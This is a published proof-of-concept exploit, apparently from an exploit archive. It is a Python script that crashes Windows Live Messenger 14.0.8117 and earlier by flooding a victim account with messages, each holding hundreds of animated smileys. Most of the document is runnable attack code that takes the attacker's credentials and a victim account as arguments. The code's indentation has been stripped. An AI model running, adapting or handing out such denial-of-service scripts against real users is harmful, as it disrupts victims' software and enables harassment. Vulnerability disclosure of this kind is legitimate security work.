Windows Live Messenger 14.0.8117 Denial Of Service

`# Exploit Title: Windows Live Messenger <= 14.0.8117 animation remote Denial of Service  
# Date: 11/08/2010  
# Author: TheLeader  
# Email: gsog2009 [a7] hotmail [d0t] com  
# Software Link: http://explore.live.com/windows-live-messenger  
# Version: 14.0.8117 and prior  
# Tested on: Windows 7 x86  
  
# msnlib required: http://blitiri.com.ar/p/msnlib/  
# Greets: forums.hacking.org.il - <3UGUYS  
# SP. thx goes to Alberto <albertito [a7] blitiri [d0t] com [d0t] ar> for  
# the msnlib library / Original msnbot example (that I modded =] )  
  
# Description:  
# Windows Live Messenger is prone to a Denial of Service attack. By sending  
# specially crafted messages that contain a large number of animations ("Smileys"),  
# it is possible to make WLM consume large amounts of memory and CPU while  
# it attempts to render the animated images, causing it to stop responding.  
  
import sys  
import time  
import select  
import socket  
import thread  
import msnlib  
import msncb  
  
payload = ":'(" * 500  
  
m = msnlib.msnd()  
m.cb = msncb.cb()  
  
def do_work():  
time.sleep(15)  
  
for i in range(100):  
print m.sendmsg(victim, payload)  
  
time.sleep(30)  
quit()  
  
  
try:  
m.email = sys.argv[1]  
m.pwd = sys.argv[2]  
victim = sys.argv[3]  
except:  
print "Usage: msnkeep.py account password victim_account"  
sys.exit(1)  
  
m.login()  
m.sync()  
  
m.change_status("online")  
  
def quit():  
try:  
m.disconnect()  
except:  
pass  
sys.exit(0)  
  
thread.start_new_thread(do_work, ())  
  
while 1:  
t = m.pollable()  
infd = t[0]  
outfd = t[1]  
  
try:  
fds = select.select(infd, outfd, [], 0)  
except:  
quit()  
  
for i in fds[0] + fds[1]:  
try:  
m.read(i)  
except ('SocketError', socket.error), err:  
if i != m:  
m.close(i)  
else:  
quit()  
  
time.sleep(0.01)  
  
  
`